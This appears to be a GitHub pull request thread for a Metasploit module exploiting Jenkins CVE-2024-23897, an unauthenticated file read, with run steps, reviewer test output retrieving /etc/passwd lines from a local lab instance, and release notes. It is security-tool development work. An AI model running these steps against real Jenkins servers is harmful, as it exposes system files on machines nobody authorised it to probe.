initial POC for jenkins CVE-2024-23897 (unauth arbitrary file read)

[h00die]

This PR adds a new module to exploit CVE-2024-23897 , an unauth arbitrary (first 2 lines) file read on Jenkins.

All of the python PoCs I reviewed (all linked in module) aren't very good. While they work for /etc/passwd, they only pull files w/ multiple lines and only with a file name length of 11 since the string length is hardcoded. I know its too late, but shoutout to @acammack-r7 back on #13741 (review) for opening my eyes to this kind of thing.

This PoC works with files that have 1 line, or multiple lines, adds check and error handling, so I believe its good to go now.

• Install the application
• Start msfconsole
• Do: use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
• Do: set rhost [ip]
• Do: run
• You should get the first two lines of the FILE_PATH

[smcintyre-r7]

The responses normally do return quickly, is it necessary to adjust the timeout? Seems like it'd be necessary if HTTP requests were often timing out during the course of exploitation.

[h00die]

When I was still learning the protocol, any error would cause a crash server side and no response would be received. While I believe I've stabilized out the code to not crash the server, it felt like a good thing to keep in just in case there's a gotcha

[h00die]

@msjenkins-r7 test this please

[jheysel-r7]

Nice one @h00die!! A couple minor comments after doing some testing but overall looks great.

Testing with the suggested changes on LTS Version 2.426.2:

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > options

Module options (auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILE_PATH  /etc/passwd      yes       File path to read from the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path for Jenkins
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found exploitable version: 2.426.2
[*] Sending requests with UUID: da8d3337-2414-43ad-92ab-8cacb7900cdf
[+] /etc/passwd file contents retrieved (first line or 2):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /Users/jheysel/.msf4/loot/20240326174542_default_127.0.0.1_jenkins.file_685766.txt
[*] Auxiliary module execution completed

[jheysel-r7]

My apologies @h00die, my first set of suggestions fixed the module but I didn't realize they were going to break rubocop. This set of suggestions fixes the module while satisfying rubocop rules.

You were correct with your method definitions:
def data_generator(pad: false)

its just when calling a method defined like the above you have to specify the default variable explicitly like so:
data_generator(pad: multi_line_file)

Testing with the latest suggestions:

msf6 auxiliary(gather/jenkins_cli_ampersand_arbitrary_file_read) > rexploit
[*] Reloading module...
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found exploitable version: 2.426.2
[*] Sending requests with UUID: 13be74e5-8a16-4431-aa1c-fdb767edc6ff
[+] /etc/passwd file contents retrieved (first line or 2):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[+] Results saved to: /Users/jheysel/.msf4/loot/20240328124555_default_127.0.0.1_jenkins.file_769324.txt
[*] Auxiliary module execution completed

[jheysel-r7]

Release Notes

This PR adds a new module to exploit CVE-2024-23897, an unauthorized arbitrary (first 2 lines) file read on Jenkins versions prior to 2.442 or for the LTS stream, versions prior to 2.426.3.

[h00die]

Thanks for handling this @jheysel-r7